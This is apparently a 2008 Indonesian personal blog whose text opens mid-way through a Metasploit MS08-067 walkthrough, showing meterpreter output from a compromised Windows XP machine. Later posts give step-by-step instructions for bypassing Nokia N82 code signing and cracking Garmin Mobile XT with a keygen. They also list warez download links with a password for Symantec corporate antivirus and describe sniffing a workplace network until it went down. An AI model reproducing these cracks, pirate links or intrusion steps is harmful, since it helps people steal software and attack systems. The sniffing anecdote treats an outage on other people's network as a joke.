timestomp Manipulate file MACE attributes

Melihat Operasi sistem sang target
meterpreter > sysinfo
Computer: BOC-BOM
OS : Windows XP (Build 2600, Service Pack 2).
Melihat ip di windows target
meterpreter > ipconfig
Intel(R) PRO/100 VE Network Connection - Packet Scheduler Miniport
Hardware MAC: 00:16:76:7c:ba:d7
IP Address : 10.11.21.29
Netmask : 255.255.255.0
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

meterpreter > exit

[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > exit
root@boc [~/metasploit/framework-3.2]# exit
logout

referensi :
www.metasploit.com
www.milw0rm.com
Patching your system now :
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
thanks to : Allah SWT , my greats parent , all staff & member www.sekuritionline.net , www.newhack.org
see my blog : www.inetholic.tk , thesims - iqbal@sekuritionline.net

Logika Antar Maya - InetStuff

2008-12-01T09:29:00.001+07:00

Nih stuff saya yang sering saya pakai istilah kata sih alat perang *

disini kasih tau aja deh mulai urutan dari 1 sampai 16

1. Laptop Zyrex centrino 1.6 , ram 512 , hardisk 40 GB , OS nya backtrack 3 dan windows xp , nih sering dipake buat oprek oprek internet menjelajah dunia maya .

2. Simbada speaker duh lupa nih versi berapa , suaranya cukup lumayan ampuh buat ganggu tetangga sebelah rumah.

3. Hardisk external hitachi 320 GB buat taruh mulai dari data , software sampai film2x yang bagus, biasanya sih sourcenya dari www.warez-bb.org .

4. HP nexian dual GSM + CDMA nih hp sering dipake buat nelpon2x tapi sayang batere nya cepet abis 2 hari langsung go to go

5. Kacamata + Dompet , mata emang minus setengah sih , dompet buat simpen uang , transaksi , bayar charge internet dll

6. Laptop fujitsu , pentium 4 - 768 Ramnya OS windows xp , hardisk 60 GB sering dibawa bawa ke kantor ( pinjeman sih :D ).

7. Tas laptop merk HP dulu beli di www.jakartanotebook.com nih tas udah setahun awet juga.

8. Kabel roll plus plug power soalnya butuh buat nyalain simbada dan laptop.

9. Gitar merk fender 6 string masih keren karena emang penggila joe satrani dan stevevai , kolaborasi laptop + gitar listrik + sound speker simbada , pake guitar fx box ( aplikasi effect gitar ).

10. Gitar string yang dipake buat lepas suntuk bosan dan penat.

11. Kardus HP nokia n-82 GPS system , wifi , symbian 9.3 yang lagi dioprek dan dipakai buat photo-photo ini.

12. Headset kalo lagi main game , warcraft.

13. Plastik isinya cd plus kabel-kabel data semua.

14. hotspot SSID - thesims - enksripsi 128 bit - Lynksys - Wrtg4l udah dinjeksi pake IOS ddwrt ( www.dd-wrt.com) mac adress di spoffing ke ....

15. gandengannya pake modem cable ( lupa merknya ) koneksi pake fastnet 512

16. Power + adaptor , keranjangn ini beli di depo bangunan kalimalang padahal ini rak piring tapi di fungsikan ke sini.

Lokasi ini diambil di atas rumah saya dan kebetulan ini bukan kamar jadi kayak semacam ruang kantor kecil-kecilan gitu deh.

Hitam benar-benar hitam

2008-11-26T10:34:00.002+07:00

* bitchchecker (~java@euirc-a97f9137.dip.t-dialin.net) Quit (Ping timeout#)
* bitchchecker (~java@euirc-61a2169c.dip.t-dialin.net) has joined #stopHipHop
--bitchchecker-- kok gw dikick
--bitchchecker-- apa ngga bisa diomongin baik2
--bitchchecker-- jawab!
--Elch-- ngga ada yg kick lu kok
--Elch-- lu tadi ping timeout: * bitchchecker (~java@euirc-a97f9137.dip.t-dialin.net) Quit (Ping timeout#)
--bitchchecker-- ping apaan men
--bitchchecker-- timing di kompi gw bener
--bitchchecker-- gw malah punya DST
--bitchchecker-- lo pasti ban gw kan
--bitchchecker-- ngaku aja lo jink
--HopperHunter|afk-- LOL
--HopperHunter|afk-- buset goblok banget lu, DST^^
--bitchchecker-- KITA PUNYA DST!
--bitchchecker-- udah dari dua minggu lalu
--bitchchecker-- klo lo nyalain kompi pasti ada pesan dari windows: DST is applied.
--Elch-- Wah lu bener2 pakar komputer ya
--bitchchecker-- diem! gw hack lo
--Elch-- ok, gua diem, semoga lu nggak nunjukin ke kita seberapa hebat lu ngehack ^^
--bitchchecker-- kasih gw nomer network lu, mampus lu men
--Elch-- Ehm, 129.0.0.1
--Elch-- atau mungkin 127.0.0.1
--Elch-- oh iya bener: 127.0.0.1 Gua tunggu serangan lu
--bitchchecker-- hardisk lo gw hapus dlm 5 menit
--Elch-- oh, aku takut
--bitchchecker-- diem! lo bakal lenyap dr sini
--bitchchecker-- gw masukin ip lo ke program, lenyap lo
--bitchchecker-- say goodbye
--Elch-- ke siapa?
--bitchchecker-- ke lo men
--bitchchecker-- bye bye
--Elch-- gua sampe merinding ketemu hacker hebat kaya lu
* bitchchecker (~java@euirc-61a2169c.dip.t-dialin.net) Quit (Ping timeout#)
* bitchchecker (~java@euirc-b5cd558e.dip.t-dialin.net) has joined #stopHipHop
--bitchchecker-- bah hoki lo jink klo kompi gw ngga hang tadi lo dah mampus
--Metanot-- wakaka
--Elch-- bitchchecker: Kalo gitu coba hack gua lagi... IP gua masih sama: 127.0.0.1
--bitchchecker-- goblok lu men
--bitchchecker-- say bye bye
--Metanot-- haiz, fuck off
--bitchchecker-- bye bye elch
* bitchchecker (~java@euirc-b5cd558e.dip.t-dialin.net) Quit (Ping timeout#)
* bitchchecker (~java@euirc-9ff3c180.dip.t-dialin.net) has joined #stopHipHop
--bitchchecker-- elch anjing lu
--Metanot-- bitchchecker umur lo brapa?
--Elch-- knp bitchchecker?
--bitchchecker-- lu pasang frie wal
--bitchchecker-- fire wall
--Elch-- mungkin, gua nggak tau
--bitchchecker-- gw 26
--Metanot-- 26 sikapnya kek gitu?
--Elch-- kok lu bisa tau gua punya firewall?
--Metanot-- ckckck ngga bener itu mbak
--bitchchecker-- fire wall asyik lo ngirim balik signalnya ke kompi gw
--bitchchecker-- jgn kek banci lah matiin tuh fire wall
--Elch-- sabar2, gua malah nggak tau kalo bisa gitu.
--bitchchecker-- dan virus gw bakal nyerang kompi lo
--Metanot-- lu ngehack komputer lu sendiri?
--Elch-- bitchchecker lagi coba ngehack gua
--Metanot-- heh bitchchecker cacat kalo lu hacker sejati harusnya lu bisa tembus firewall. gua aja bisa
--bitchchecker-- iya men gw hack elch tapi si anjing punya fire wall
--Metanot-- firewall apa yg lu pake?
--bitchchecker-- kek banci lah
--Metanot-- normalnya hacker kudu bisa nembus firewall lah mbak^^
--He-- Bitch sante lah bro. kalo lu sampe terprovokasi mereka malah mereka juga yg seneng
--bitchchecker-- matiin firewallnya, gw mau kirimin lu virus
--Elch-- Jgnn
--Metanot-- eh bitchchecker ngapain matiin firewall, harusnya lu yg matiin
--bitchchecker-- lo takut?
--bitchchecker-- gw males ngehack gini kalo dianya ngumpet di blkg firewall kek banci
--bitchchecker-- elch matiin fire wall lu jink
--Metanot-- bntr gua mo ngomong, lu ngerti nggak sih artinya hacking?? kalo dia matiin firewall itu sama aja ngasih jalan buat lu, nggak bisa disebut hacking dong
--bitchchecker-- diemlo!
--Metanot-- wkaakka
--bitchchecker-- nenek gw browsing pake fire wall
--bitchchecker-- lo pikir lo hebat jink? padahal lo ngga berani internet tanpa firewal
--Elch-- bitchchecker, temen gua baru aja ngajarin cara matiin firewall, lu coba lagi deh skrg
--Metanot-- bitchhacker gk bisa hack!
--BlackTdV---- hahaha bitchhacker^^
--bitchchecker-- sip men
--Elch-- bitchchecker: Gua masih nunggu serangan lu!
--Metanot-- brp kali mesti g bilang dia bukan hacker
--bitchchecker-- lo mau virus men?
--bitchchecker-- kasih gw ip lo biar gw hapus hardisk lo
--Metanot-- wakakaka kasih aja dah gw sendiri hacker dan setau gw hacker sikapnya gk kyk gitu dah dan kalo gw bilang dia tu 100.00% bukan hacker..^^
--Elch-- 127.0.0.1
--Elch-- gampang kan
--bitchchecker-- huahuahua goblok banget lu men bentar lagi lu lenyap
--bitchchecker-- file lu dah mulai didelet
--Elch-- mak...
--Elch-- bentar gua cek
--bitchchecker-- gk perlu, lu ngga bakal bisa selamatin jink
--Elch-- astaga
--bitchchecker-- hardisk g: lu dah gw hapus
--Elch-- ya sudah, keknya gua uda nggak bisa apa2 lagi...
--bitchchecker-- dan dlm 20 detik f: lenyap
--bitchchecker-- huehuehue
--bitchchecker-- elch anjing f: lo dah lenyap, e: juga
--bitchchecker-- skrg d: udah 45% huakakaka rasain lo
--He-- kok meta diem aja ya?
--Elch-- keknya dia lagi brb ngakak
--BlackTdV-- ^^
--bitchchecker-- d: lenyap
--He-- lanjutkan aksimu BITCH
--bitchchecker-- elch goblok nih gw kasih pelajaran: jgn pernah lo kasih ip lo ke orang
--bitchchecker-- skrg c: udah 30%
* bitchchecker (~java@euirc-9ff3c180.dip.t-dialin.net) Quit (Ping timeout#)

semenjak itu si bitchcecker gak pernah Online lagi di irc tanya knapa ???

Kesasar ? ....

2008-11-23T20:04:00.005+07:00

Sore ini saya disibukkan dengan survei lokasi , yah maklum lokasi buat usaha sih cuma nih lokasi kok diperumahan ya , wah jangan perumahan kalau bisa sih , maunya sih pas depan nya ada jalan rayanya karena kan lokasi usaha sangat menentukan , yah walhasil lumayan juga lokasi ini dibilangan jati asih .. bekasi , pekayon , jalan dengan adik saya brrrrrrrrrrrrmmmmmmm naik jupiter dipandu juga ke lokasi oleh temannya adikku kebetulan dia juga ada niat pengen usaha juga ( warnet ) semoga berhasil ...

wah niatan jadi urung karena lokasi di perumahan takutnya kalau buka game centre banyak ibu2x yang komplain , belum lagi ada masalah dengan warga setempat, yah akhirnya aku jelasin kendala-kendala buka warnet di perumahan.

hmmm langit terlihat mendung setelah lokasi survei aku analisa akhirnya aku niatkan untuk pulang waktu di hp nokia n82 menujukkan pukul 5.15 sore.

aku segera angkat hp ku mencari ruang gerak bebas dijalan , menyalakan garmin symbian mobile , setelah 2 menit barulah sinyal GPS merespon hp - ku , berhubung ke lokasi ini agak pusing dan mumet akhirnya aku putuskan menggunakan garmin untuk jalan pulang, gak mungkin nih hp aku pegang sendiri yang pasti aku suruh adikku memegangnya.

Kordinat rumahku sudah aku tandakan dan saya masukkan tujuan lalu garmin melakukan kalkulasi jalan route, adikku tertawa2x takjub kok bisa ? , sekalian aku memperkenalkan GPS ini , aku tertawa senang dalam hati , inilah GPS inilah jalanku ..
adikku memandu kebetulan aku membawa headset agar lebih terdengar sambil melihat map , aku pacu motor jupiter ku , yang akhirnya membawa ke lokasi tujuan dengan flag bendara seperti pembalap motor saat melaju finish ( hihihihi ) aku tertawa kegirangan ... dalam hatiku kesasar ? ... gak lah yaooooooooooooooo

Spesifikasi

N-82

Aplikasi

Garmin Mobile + Map Indonesia + cracked version (hare gini bayar ... kelaut aje lo?)

note : GPS ini gak butuh alias pulsa gratis ............

All I want

2008-11-12T14:47:00.000+07:00

You can't ignore or hide away
Can't escape from the things that line our way
Take it, leave it, or break it
Anyway, you can't get back to yesterday

All I want, all I want to do
You better listen from now on
Stop what's going on, stop what's going wrong
You better listen from now on

Confidence, coincidence, call it a sin
It's just like people say
Tomorrow's here so open up you're eyes
Never hesitate

It makes me want to give you everything
Pick you up and take you home again
Hold you tight and think that now is then
All I want to do

All I want to do
Is make you listen from now on
Cardboard men are strong, but paper can be torn
Oh, you better listen from now on

Nokia Maps v2.0.3204 S60v3

2008-11-12T11:30:00.003+07:00

Since nokia upgrade firmware to v 30.0.019 i cant hack it , i'm not sure how to hack the sys the root c:\sys\bin , try reinstall x-plore still cant read and explore the folder , almost everyday i think it , very confused , hmmmff maybe someday can hack it , i give this link if you have firmware below < v 30.0.019 try it

download : http://www.anonym.to/?http://www.mediafire.com/?4ru9vcxdgdx

hope nokia maps hack it again LOL , without payment and free navigation for all

regards
iqbal

rute GPS

2008-11-12T08:28:00.003+07:00

Pagi ini , GPs di tangan ( n82 ) including garmin xt symbian mobile , nyalakan wuih ..
keyword cari kebon sirih keluar menara multimedia dll , pilih deh , on kan nih gps ,
pasang headset + volume suara 100 % , wusssssssss jalan , navigasi seperti ini cukup membantu dengan adanya voice + gambar kordinat kita berjalan , cek pulsa tidak abis kan ini pakai GPS langsung , asyiknya sampai tujuan say kasih kordinat lagi supaya nanti routing pulang lebih menantang , cari jalan tikus hehehehe

Kebangetan !!!

2008-11-10T16:10:00.002+07:00

Waduh baru denger nih gedung katanya di flood sama orang lain , tapi kenapa tidak di block ip nya atau di tracert ip nya berapa ? , segmen berapa , lock macadress nya ,
kalau mac address bisa diganti , tetapi kalo yang di flood ini ketauan segmennya ya sebaiknya di cari kalo perlu di blok tuh satu lantai , kata si empu nih network kejadiannya dari jam 10 kmarin , gila gak !!! ah dasar nubie sukanya flood doank disuruh benerin pasti gak bisa

Gila GPS ............

2008-11-09T21:49:00.002+07:00

Sabtu kmarin niat beli hp yang pakai gps , uhh dengan ditemani kakakku yang kebetulan kenal salah satu distributor hp nokia akhirnya beli juga nih hp , lengkap dengan gps
, bawa pulang nih hp rencana mau oprek seharian apa-apa aja yang bisa dipakai digunakan , ternyata fiturnya bagus juga , lengkap wifi nih spesifikasi detailnya

perating Frequency

* WCDMA2100 (HSDPA), EGSM900, GSM850/1800/1900 MHz (EGPRS)
* Automatic switching between bands and modes

Dimensions

* Volume: 90 cc
* Weight: 114 g
* Length (max): 112 mm
* Width (max): 50.2 mm
* Thickness (max): 17.3 mm

Memory Functions

* Up to 100MB internal dynamic memory* for messages, ringing tones, images, video clips, calendar notes, to-do list and applications
* Hot swappable microSD memory card slot

Power Management

* Battery: Nokia Battery (BP-6MT) 1050mAh
* Talk time: up to 190 min (WCDMA), up to 260 min (GSM)
* Stand-by time: up to 210 hours (WCDMA), up to 225 hours (GSM)
* Still images: up to 290 pictures (with flash)
* Video capture: up to 110 minutes (VGA, 30 fps)
* Video call: up to 120 minutes
* Video playback: up to 200 minutes (VGA, 30 fps)
* Music playback: up to 10 hours (offline mode)

Display

* 2.4" LCD QVGA (240 x 320 pixels) TFT color display with up to 16.7 million colors

User Interface

* Operating system:Symbian OS 9.2
* User Interface: S60 3rd edition Feature Pack 1
* Automatic screen rotation (accelerometer)

Call Management

* Logs: keeps lists of your dialed, received, and missed calls
* Voice dialing (with Speaker independent name dialing (SIND)) and voice commands
* Nokia Push to talk (PoC)

Messaging

* E-mail (SMTP, IMAP4, POP3), MMS, SMS

Data Transfer

* WCDMA HSDPA 2100 MHz with simultaneous voice and packet data (PS max speed DL/UL= 3.6Mbps/384kbps, CS max speed 64kbps)
* Dual Transfer Mode (DTM) support for simultaneous voice and packet data connection in GSM/EDGE networks. Simple class A, multi slot class 11, max speed DL/UL: 177.6/118.4 kbits/s
* EGPRS class B, multi slot class 32, max speed DL/UL= 296 / 177.6 kbits/s
* GPRS class B, multi slot class 32, max speed DL/UL= 107 / 64.2 kbits/s

Imaging and Video

* Up to 5 megapixel (2592 x 1944 pixels) camera, Carl Zeiss Optics: Tessar™ lens, MPEG-4 VGA video capture of up to 30 fps
* Direct connection to compatible TV via TV-out or wireless LAN/UPnP
* Front camera, CIF (352 x 288 pixels) sensor for video telephony
* Video call and video sharing support (WCDMA network services)
* Integrated xenon flash
* Slideshow from gallery
* One-click upload of photos & videos to web
* Nokia XpressPrint: direct printing via USB (PictBridge), Bluetooth connectivity (BPP), and WLAN (UPnP) or via online printing

Mobile Video

* Video resolutions: up to VGA (640 x 480 pixels) at 30 fps
* Recording indicator
* Audio recording: AAC (AMR for MMS)
* Digital video stabilization
* Video file format .mp4 (default), .3gp (for MMS)
* White balance, scene and color tone setting
* Zoom: Digital up to 10x (VGA up to 4x)
* Front camera: CIF (352 x 288 pixels) sensor for video telephony
* On-device video editing

Mobile Photography

* Image resolution: up to 5 megapixels (2592 x 1944 pixels)
* Auto focus
* Amber colored auto focus assist light and recording indicator
* Still image file format: JPEG/EXIF
* Auto exposure - center weighted
* Exposure compensation: +2 ~ -2EV at 0.5 step
* White balance: automatic, sunny, cloudy, incandescent, fluorescent
* Scene: automatic, user, close-up, portrait, landscape, sports, night, night portrait
* Color tone: normal, sepia, black & white, negative, vivid
* Zoom: digital up to 20x (5 megapixel up to 6x)
* Xenon flash
* On-device photo editing

Camera Specifications

* Sensor: CMOS, 5 megapixel (2592 x 1944)
* Carl Zeiss Optics: Tessar™ lens
* F number/Aperture: F2.8
* Focal length 5.6 mm
* Focus range 10 cm ~ infinity
* Macro focus distance 10-50 cm

Music Features

* Digital music player - supports MP3/AAC/eAAC/eAAC+/WMA/M4A with playlists
* OMA DRM 2.0/1.0 & WMDRM support for music
* Integrated stereo hands-free speaker
* Stereo FM radio (87.5-108MHz) with Visual Radio support
* Nokia Stereo Headset HS-43 in-box
* Bluetooth wireless technology 2.0 with A2DP Stereo audio

Navigation

* Integrated Assisted Global Positioning System (A-GPS)
* Pre-installed Nokia Maps application and free downloadable maps

E-mail

* Easy-to-use e-mail client with attachment support for images, videos, music and documents
* Compatible with Nokia Wireless Keyboard SU-8W (sold separately)

Browsing

* Full web browser support (HTML)

Digital home

* Play video, music and photos on home media network - compatible TV, stereo and PC over WLAN/UPnP

Java Applications

* Java MIDP 2.0, CLDC 1.1 (Connected Limited Device Configuration (J2ME))
* Over-the-air download of Java-based applications and games

Other Applications

* Personal Information Management (PIM)
* Advanced S60 PIM features including calendar, contacts, to-do list, and PIM printing
* Settings wizard for easy configuration of e-mail, push to talk and video sharing
* Data transfer application for transfer of PIM information from other compatible Nokia devices
* WLAN wizard

Connectivity

* Integrated WLAN (802.11 b/g) and UPnP
* Bluetooth wireless technology with A2DP stereo audio
* USB 2.0 via Micro USB interface and mass storage class support to support drag and drop functionality
* 3.5 mm stereo headphone plug (Nokia AV Connector) and TV out support (PAL/NTSC)
* Nokia Nseries PC Suite connectivity with USB, and Bluetooth wireless technology
* Local synchronization of contacts and calendar to a compatible PC using compatible connection
* Remote over-the-air synchronization
* Send and receive images, video clips, graphics, and business cards via Bluetooth wireless technology

Video Features

* Video player - supports MPEG4, AVC/H.264, H.264, H.263, RV
* OMA DRM 2.0/1.0 & WMDRM support for video
* Resolution: MPEG4 VGA @ up to 30 fps scaled to QVGA on device or VGA in TV-out mode
* Transfer your videos from compatible PC: Windows Media Player, USB mass-storage file transfer or Nokia Nseries PC Suite using full-speed USB 2.0 connectivity

Video Center

* Pre-configured video services and dynamic expansion with new services
* Video podcasting: find, subscribe, download, view with mobile device

RealPlayer media player

* Full-screen video playback to view downloaded, streamed or recorded video clips
* Supported video formats: MPEG-4, H.264/AVC, H.263/3GPP, RealVideo 8/9/10

Standard Sales Package Contents

* Nokia N82
* Nokia Battery BP-6MT
* Nokia Travel Charger AC-5
* Nokia Music Headset HS-43
* Nokia Connectivity Cable CA-101
* Nokia Video Connectivity Cable CA-75U
* Nokia 2GB microSD Card MU-37

note : neh skarang pakai firmware v.30.0.019 23-07-08 , beh sayang nya nih firmware blom ada yang berhasil hack sampe situs-situs luar dah gw jamah , kalo versi firmware v.20.0.xx bisa berikut langkahnya

Pernah gagal dalam install?
Misalnya dengan peringatan: Certificate Error, Certificate Expired, dll.
Dengan hack ini, anda bisa install semua program sis maupun sisx, yang signed maupun yang unsigned.

Yang dibutuhkan:

1. File manager untuk Nokia N82, X-Plore, download di sini
2. HelloCarbide hack dari FCA00000, download di sini
3. Sis installer, download di sini. Jangan lupa di-extraxt dulu zip nya, yang diperlukan adalah file installserver.exe
4. CapsOn Off untuk mengaktifkan dan menonaktifkan system file view, download di sini. Jangan lupa juga di-extract, ada 3 file di situ (CapsOn.sisx, CapsOff.sisx, dan CProfDriver_SISX.ldd)

Langkah-langkah:

1. Install X-plore_S60_3rd.sisx dari file zip x-plore pake NOKIA PC-SUITE. Install di memory card aja, buat irit memori.
2. Install HelloCarbide.sisx, pake PC-SUITE juga, di phone memory (kalo gw sih install di memory card, no problem)
3. Install CapsOn.sisx dan CapsOff.sisx, pake PC-SUITE, di phone memory (kalo gw sih install di memory card, no problem)
4. Copy installserver.exe ama CProfDriver_SISX.ldd ke memory card handphone.
5. Jalankan program X-plore dari menu Applications di handphone. Klik Menu, Tools, Configuration, trus centrang deh 4 item teratas (Show Hidden files, Show ROM drives, Shoe RAM drives, Show system files/folders). Klik Back. Jangan exit dulu. (Hal ini karena setelah lanjut di langkah berikutnya, program HelloCarbide gak akan bisa menjalankan lagi program lain)
6. Pencet tombol menu (yang gambar buletan disamping kanan tombol ijo).
7. Kembali ke menu Applications, klik program HelloCarbide. Pilih Options, Menu1, Yes (yang kanan). Terus tampilan kembali ke menu Applications.
8. Pencet tombol menu agak lama, sekitar 2 detik. Nanti muncul tampilan aplikasi-aplikasi yang sedang berjalan. Pilih X-plore.
9. Dari X-plore, pindah ke drive E:, pencet d-pad ke kanan, mark file installserver.exe ama CProfDriver_SISX.ldd, trus pilih Edit, Copy. Terus pindah ke drive C:, klik d-pad kanan, pilih, SYS, klik d-pad kanan, pilih BIN, klik d-pad tengah. (Intinya: copy file installserver.exe ama CProfDriver_SISX.ldd ke C:\SYS\BIN)
10. Exit dari X-plore, restart handphone.
11. Selesai, sekarang boleh deh install macem-macem program Unsigned.

*) dari analisa diatas ternyata nokia telah upgrade sistemnya , sebaiknya pikir 2 kali deh untuk update ke v.30 ini .... tapi mungkin saya sudah beli jadi bikin pusing aja ...

Kenapa Saya butuh hack hp n82 ?? supaya bisa pakai gratis nokia maps

sayang !!!!!!!! i cant hack it ... malah saya baca sampai symbian freaks masih belum ada yang ketemu ...

walhasil gak habis akal putar-putar ehh ketemu di forum kaskus ... kalau mau lebih sih baca di forum

http://www.ipmart-forum.com

Pernah gagal dalam install?
Misalnya dengan peringatan: Certificate Error, Certificate Expired, dll.
Dengan hack ini, anda bisa install semua program sis maupun sisx, yang signed maupun yang unsigned.

Yang dibutuhkan:

1. File manager untuk Nokia N82, X-Plore, download di sini
2. HelloCarbide hack dari FCA00000, download di sini
3. Sis installer, download di sini. Jangan lupa di-extraxt dulu zip nya, yang diperlukan adalah file installserver.exe
4. CapsOn Off untuk mengaktifkan dan menonaktifkan system file view, download di sini. Jangan lupa juga di-extract, ada 3 file di situ (CapsOn.sisx, CapsOff.sisx, dan CProfDriver_SISX.ldd)

Garmin Mobile XT merupakan program GPS alternatif selain Nokia Maps buat N82.
Kini versi terbarunya versi 5 sudah keluar.
Berikut step buat install di N82.

Yang dibutuhkan:

1. Aplikasi Garmin Mobile XT for Symbian S60 3rd Edition, Ver. 5.00.00, download di sini.
2. Garmin Mobile XT Free Basemap, Ver. 4.xx.xx, download di sini.
3. Garmin Mobile XT Support Files, Ver. 4.xx.xx, download di sini.
4. Garmin City Navigator Indonesia NT v3.01.
5. Garmin XT Keygen.

Dua file terakhir di atas bisa dicari di salah satu link ini:
http://www.ipmart-forum.com/showthread.php?t=216895
http://www.ipmart-forum.com/showthread.php?t=295547
http://www.ipmart-forum.com/showthread.php?t=279093

Langkah-langkah:

1. Sambung N82 ke komputer pake kabel data. Pilih modus Data Transfer, jangan PC Suite.
2. Install GarminMobileXTforSymbianS603rdEdition_50000.exe dari komputer.
3. Install GarminMobileXTFreeBasemap_4xxxx.exe dari komputer.
4. Install GarminMobileXTSupportFiles_4xxxx.exe dari komputer.
5. Setelah terinstall, disconnect N82 dari komputer.
6. Setelah disconnected, connect lagi pake modus PC Suite, biarkan instalasi Garmin XT berjalan.
7. Setelah selesai, jalankan Garmin XT di N82 pada menu Applications.
8. Jawab No, bila Garmin menanyakan apakah Bluetooth mau diaktifkan.
9. Pilih Agree.
10. Pilih English, Next.
11. Pilih English (American), Next.
12. Pilih Metric, Next.
13. Pilih Disabled, OK.
14. Pilih I Agree.
15. Pilih I Agree lagi.
16. Klik OK aja klo ada pesan kesalahan Bluetooth.
17. Pilih Tools, Settings, System, About, catat nomor Card Id yang tertera di N82 Anda.
18. Jalankan program keygen, masukkan Card Id, klik Generate.
19. "Your device unlock code" di-paste ke Notepad, save as SW.UNL.
20. Custom, Map ID 267, Generate, code di-paste ke Notepad, save as GMAPSUPP.UNL.
21. Extract Garmin City Navigator Indonesia, dan copy file GMAPSUPP.IMG ke memory card, di direktori Garmin. Sekalian copy juga file SW.UNL dan GMAPSUPP.UNL ke direktori yang sama.
22. Restart Garmin XT.
23. Switch on bluetooth? No.
24. Pilih I Agree.
25. Pilih OK.
26. Pilih Tools, Settings, System, Remote GPS, pilih Use Attached/Built-in GPS, Done, Enable GPS Now.
27. Restart Garmin XT.
28. Pilih I Agree.
29. Selesai.

http://www.kaskus.us/showthread.php?p=50719394

> ada beberapa perubahan mungkin diatas seperti garmin yang berasil ke versi terbaru ... installnya sama kok tidak ada perubahan ...

cool for me and n82 , mana nih hp lawas juga

last ujicoba isi bensin iseng pake nih hp - ada suara navigatornya .... , soalnya kalau cari alamat gak usah pusing-pusing deh

akhirnya menjadi penggila GPS juga ...

Lucunya

2008-10-29T15:13:00.002+07:00

Hari ini bener-bener ngantuk banget , still monitoring nih sampai kapan ya ... siang ini membawa ngantuk kearah ujicoba yaitu sniffing daripada ngantuk pikirku ..
, coba download switch sniffer ahh pikirku , jalankan tapi pas lagi ujicoba kok ada masalah dengan network disini ya , tujuanku padahal hanya sniffing , ehh gak tau nya network nya drop semua , lucunya "heboh" banget deh ... ada yang salah-salahan
ada yang lagi browsing kirim2x email sampe teriak teriak segala , ahh pikirku bisa jadi down kah , mungkin ini swicth sniffernya broadcast masalahnya , lucunya mereka "heboh" seperti anak kecil hihihihiihi laughing out loud ..

unduh zimbra

2008-10-16T14:42:00.001+07:00

--14:40:31-- http://h.yimg.com/lo/downloads/5.0.10_GA/zcs-5.0.10_GA_2638.RHEL5.20081003052615.tgz
Resolving h.yimg.com... 8.12.217.124, 206.33.55.125, 206.33.49.126
Connecting to h.yimg.com|8.12.217.124|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 326344886 (311M) [binary/octet-stream]
Saving to: `zcs-5.0.10_GA_2638.RHEL5.20081003052615.tgz'

9% [=======> ] 32,630,103 728K/s eta 7m 26s

728 kbps wah ...........

sakit hati ....

2008-10-13T16:58:00.003+07:00

emang sakit hati yang gw rasain , tapi disini bukan sakit hati karena putus cinta tapi sakit hati hardisk external 80 GB 2,5 inch gw , bablas ke lantai gara-gara abis nonton ketiduran trus ketendang tuh hardisk , bener deh sakit nya lebih sakit dari sakit hati ... lagi cari usaha target dpo sih ke harco mas mangga 2 , as long as i know there is place for recovery the disk , yah mungkin harus kesana , kalau tidak bisa di backup terpaksa nih harus di ikhlaskan , semoga dan berharap setelah itu tetap semangat ....

upgrade ios wifi router ke ddwrt

2008-10-10T07:49:00.002+07:00

baca ini untuk wifi yang di support oleh ddwrt

http://www.dd-wrt.com/wiki/index.php/Supported_Devices

iseng upgrade ddwrt versi SP1

http://www.dd-wrt.com/dd-wrtv2/downloads/v24-sp1/Consumer/Linksys/WRT54GL_1.1/dd-wrt.v24_std_generic.bin

and done .... lumayan buat tuning ........ deh

Norton Corporate Edition

2008-09-30T12:41:00.000+07:00

http://rapidshare.com/files/144041313/N.G.v14.0.3.28361sp3.part1.rar
http://rapidshare.com/files/144043323/N.G.v14.0.3.28361sp3.part2.rar
http://rapidshare.com/files/122332757/Symantec.AntiVirus.Corporate.Edition.v10.1.7000.7.Win64_abu137_.rar
http://rapidshare.com/files/122332468/Symantec.AntiVirus.Corporate.Edition.v10.1.7000.7.Win32_abu137_.rar
http://rapidshare.com/files/102576333/shiva.om__antivirus_corporate_edition.pdf
http://rapidshare.com/files/127782258/Symantec_Corporate_10_XP_Only_mahek_cw.rar

http://rapidshare.com/files/111060950/S.A.C.O.1021.MR1-ZWTiSO.part01.rar
http://rapidshare.com/files/111068773/S.A.C.O.1021.MR1-ZWTiSO.part02.rar
http://rapidshare.com/files/111085087/S.A.C.O.1021.MR1-ZWTiSO.part03.rar
http://rapidshare.com/files/111098145/S.A.C.O.1021.MR1-ZWTiSO.part04.rar
http://rapidshare.com/files/111109243/S.A.C.O.1021.MR1-ZWTiSO.part05.rar
http://rapidshare.com/files/111121465/S.A.C.O.1021.MR1-ZWTiSO.part06.rar
http://rapidshare.com/files/111121257/S.A.C.O.1021.MR1-ZWTiSO.part07.rar
http://rapidshare.com/files/111129700/S.A.C.O.1021.MR1-ZWTiSO.part08.rar
http://rapidshare.com/files/111130191/S.A.C.O.1021.MR1-ZWTiSO.part09.rar
http://rapidshare.com/files/111136769/S.A.C.O.1021.MR1-ZWTiSO.part10.rar
http://rapidshare.com/files/111136426/S.A.C.O.1021.MR1-ZWTiSO.part11.rar

Password : NeedZ

DragonForce Band

2008-09-30T12:01:00.001+07:00

yang mau unduh dragonforce band silahkan unduh di

http://rapidshare.com/users/OLN52A

free domain dari co.cc

2008-09-29T12:11:00.000+07:00

lumayan redirect web co.cc daftar di http://www.co.cc

Domain : inetholic.co.cc
Service Type : URL Forwarding
Title : inetholic.blogspot.com
Target URL: http://inetholic.blogspot.com
Frame : URL Hiding
Site Description : inetholic.blogspot.com
Search Keywords : inetholic.blogspot.com
Google email : Not use.
Status :
Created on : 2008-09-29
Last updated on : 2008-09-29

http://www.inetholic.co.cc/

Kisah seorang network-er & system-er *

2008-09-28T03:12:00.004+07:00

Mungkin disini saya telah mencurahkan pekerjaan saya , memantau sebuah traffik dulunya hingga berkutat di dunia system .. aku mencoba belajar tentang semua itu tak peduli apapun yang terjadi , mungkin aku bisa dikatakan pekerja keras tapi ini penilaianku yang mungkin aku jalani , bekerja senin - jumat , lalu sabtu atau minggu diriku bekerja sebagai sysadmin di warnet , lumayan untuk sebuah kehidupan yang aku jalani , tapi aku ingin bekerja di sebuah perusahaan dengan dengan posisi yang tetap hingga aku bisa mencurahkan semua tenaga dan pikiranku dan membuat aku lebih bermotivasi menghadapi berbagai macam pekerjaan yang ada , semoga suatu saat nanti aku bisa seperti itu ...

di dini hari 3.20 ...

Perbandingan Streaming Mudik

2008-09-27T11:40:00.005+07:00

dibawah ini merupakan streaming mudik

